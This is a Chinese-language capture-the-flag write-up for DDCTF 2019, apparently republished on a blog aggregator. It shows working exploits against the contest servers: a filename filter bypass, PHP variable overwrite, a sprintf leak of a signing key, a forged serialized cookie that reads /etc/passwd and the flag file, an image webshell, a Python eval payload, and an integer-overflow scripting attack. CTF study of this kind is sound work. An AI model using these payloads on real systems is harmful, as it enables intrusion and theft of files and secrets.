美文网首页CTFctf
DDCTF 2019 WriteUp

DDCTF 2019 WriteUp

作者: Eumenides_62ac | 来源:发表于2019-04-19 19:46 被阅读3次

Web

打开发现url里的jpg是这样的:

/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

通过扫描发现了:

http://117.51.150.246/practice.txt.swp`

回到之前的urljpg后面那串解密后是一串16进制,那把index.php转成16进制后再base64`编码两次后传入:
http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

得到源码:

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

这里正则会过滤掉不是数字字母和.的其他字符。这里f1ag!ddctf.php!就会被过滤,想要去读就要绕过。这里str_replace("config","!", $file);会把config替换成!,这样就可以构造f1agconfigddctf.php来绕过了:
http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

成功读到。



得到源码:

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

一个extract变量覆盖,构造:

http://117.51.150.246/f1ag!ddctf.php?k1=&uid=

得到flag


参考链接:
php file_get_contents 绕过
“百度杯”CTF比赛 九月场------code

Web签到题

打开看到:


构造X-Forwarded-For:127.0.0.1

在网络可以看到验证了一个Auth.php,加入didictf_username: admin

得到提示:
您当前当前权限为管理员----请访问:app\/fL2XID2i0Cdh.php

得到源码:




url:app/Application.php


Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}




url:app/Session.php



include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

可以看到如果满足$this->session_read(),就会调用parent::response($data,'sucess');,parent里有__destruct()这个反序列话会用到的魔术方法。
可以测试一下:

<?php

Class Application {
    public function response() {
        echo "ok</br>";
    }

    public function __destruct() {
        echo "Application 的 __destruct()被调用了";
    }
}

class Session extends Application {
    public function index(){
        parent::response();
    }
}

$d = new Session();
$d->index();

成功被调用了。这里就会产生php反序列化漏洞。


可以看到此题拿flag的思路应该是先通过session反序列化 -->创建Application对象--> 控制path --> getflag
签名规则是md5($this->eancrykey.$session),所以必须要拿到eancrykey。从$this->eancrykey = file_get_contents('../config/key.txt');这里可以看到eancrykey存放在../config/key.txt
在获取nickname代码中:
        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

存在sprintf()方法。可以通过格式化注入去取得key。传入nickname=%s


得到eancrykeyEzblrbNS
然后来伪造sessionpath会被sanitizepath()函数过滤,过滤了../..\,会被替换成共,可以通过双写....//来绕过。然后path的字符被限制为了18个。
        if(strlen($path) !== 18) {
            exit();
        }

尝试去读/etc/passwd

双写绕过为:/etc/..././etc/passwd
序列化后: O:11:"Application":1:{s:4:"path";s:21:"/etc/..././etc/passwd";}
按规则签名后: O%3a11%3a"Application"%3a1%3a{s%3a4%3a"path"%3bs%3a21%3a"/etc/..././etc/passwd"%3b}75c51ff78b04d77138ca58f797dedc0a;

可以成功读到。


然后去读../config/flag.txt。构造:
<?php

$eancrykey = 'EzblrbNS';

class Application {
    var $path = '..././config/flag.txt';
}


$ddctf = new Application();
var_dump(urlencode(serialize($ddctf)));
echo "<br/>";
var_dump(md5($eancrykey.serialize($ddctf)));

传入得到flag

Upload-IMG

要上传文件:


上传一张正常的图片后提示:

这里图片经过了GD库。
upload-labs-16跟这个类似。
使用jpg_payload来构造图片马,使图片被GD库处理后仍然保留图片里的字符串。
$ php jpg_payload.php 1.jpg

上传后就能得到flag

homebrew event loop

题目给了源码:

# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af31f66147e657' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 
     
def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 
     
class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 
     
@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 
     
        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
             
        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 
         
        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 
         
def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
     
def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 
     
def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 
     
def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 
     
if __name__ == '__main__': 
    app.run(debug=False, host='0.0.0.0') 

execute_event_loop()中,可以看到存在eval函数,而且action可控。具体解法看先知的WP
使用payload

?action:trigger_event%23;action:buy;111%23action:get_flag;

然后用session_ccokie_manager.py解开传过来的session_id就得到flag了。

大吉大利,今晚吃鸡~

首先注册处有一个越权漏洞。


这是拿Go写的。Go写的CTFWeb,应该会考到整数溢出。下面是Go的整数范围:

这里使用uint32溢出,也就是4294967296

购买成功。
然后就是要淘汰队友,直到自己最后一个。

主要思路就是自己注册小号 - >买票 -> 付款 -> 加入游戏 -> 获取id踢掉。
编写脚本:
import requests
import random
import time

tmpID = "1"

tmpSession = requests.session()

registerURL = "http://117.51.147.155:5050/ctf/api/register?name=5am3_t1{name}&password=12345678aa90"
buyTicketURL = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
payTicketURL = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}"
removeRobotsURL = "http://117.51.147.155:5050/ctf/api/remove_robot?id={uid}&ticket={ticket}"

headers = {
    "Cookie": "REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3"
}

def getTicket(tmpID):
    tmpRegisterURL = registerURL.replace("{name}",tmpID)
    tmpSession.get(tmpRegisterURL)

    billID = tmpSession.get(buyTicketURL).json()["data"][0]["bill_id"]

    # print(billID)

    tmpPayTicketURL = payTicketURL.replace("{bill}",billID)
    # print(tmpPayTicketURL)
    ticketJson = tmpSession.get(tmpPayTicketURL).json()
    # print(ticketJson)
    ticket,uid = ticketJson["data"][0].values()

    return ticket,uid

if __name__ == '__main__':
    i = 1
    c = 0
    while(i<3 and c < 50):
        name = str(random.randint(1000, 90000))
        c+=1
        try:
            ticket,uid = getTicket(name)
            # print(ticket,uid)

            tmpRRURL = removeRobotsURL.replace("{uid}",str(uid)).replace("{ticket}",ticket)
            RRjson = requests.get(tmpRRURL,headers=headers).json()

            if(RRjson["data"]):
                print("["+str(i)+"] " + str(RRjson["data"]))
                print("")
                i+=1
            time.sleep(1)

        except:
            pass

mysql弱口令

mysql弱口令

Misc

北京地铁

wireshark

打开可以看到一些流量:


通过提取,能提取出三张图片:

修改流量里第一张上传的图片的IHDR能得到key


使用在线网址解密流量里的第二张图片:

16进制转换成ASCII码就能得到flag

相关文章

  • DDCTF 2019 WriteUp

    Web 滴 打开发现url里的jpg是这样的: 通过扫描发现了: 得到源码: 成功读到。 得到源码: 一个extr...

  • ddctf2019_writeup

    滴~ 题目url http://117.51.150.246/index.php?jpg=TmpZMlF6WXhO...

  • DDCTF 2019 部分 writeup

    只做出一道web,一道misc,好菜。接下来看大佬的wp学习下吧。web1打开链接,可以看到可能存在文件包含的ur...

  • 2018 DDCTF writeup

    杂项第一题 首先看题目,什么鬼看不懂百度一波,是颜文字。然后各种查找,无果。然后尝试,将地下的编码解码,一看就是h...

  • DDCTF2019 web-writeup

    又是没有进入复赛的ctf继续留下没有技术的泪水希望下次再加油吧! 1 滴~ 2 web签到题 3 Upload-I...

  • 2019-04-23

    DDCTF 部分Writeup 0x1 web1 滴~ 打开题目链接如下所示 观察到URL:http://117....

  • DDCTF2019 web-writeup(2)

    3 upload-IMG 上传照片之后发现提示需要包含phpinfo写入phpinfo再次上传发现还是提示需要包含...

  • DDCTF安卓题-writeup

    0x01引子 前段做了一个滴滴CTF的其中一道安卓题目,题目并不难,主要分享一下做题过程和思路。 apk下载地址h...

  • DDCTF2019两个逆向writeup

    01 Confused 首先参考链接 https://www.52pojie.cn/forum.php?mod=v...

  • ddctf2018-掀桌writeup

    1.掀桌子: 看着这个,应该是解码的问题,经过一年的菜鸡学习,好歹知道了一些常见的编码方式,比如说base64、A...

网友评论

    本文标题:DDCTF 2019 WriteUp

    本文链接:https://www.haomeiwen.com/subject/znzkwqtx.html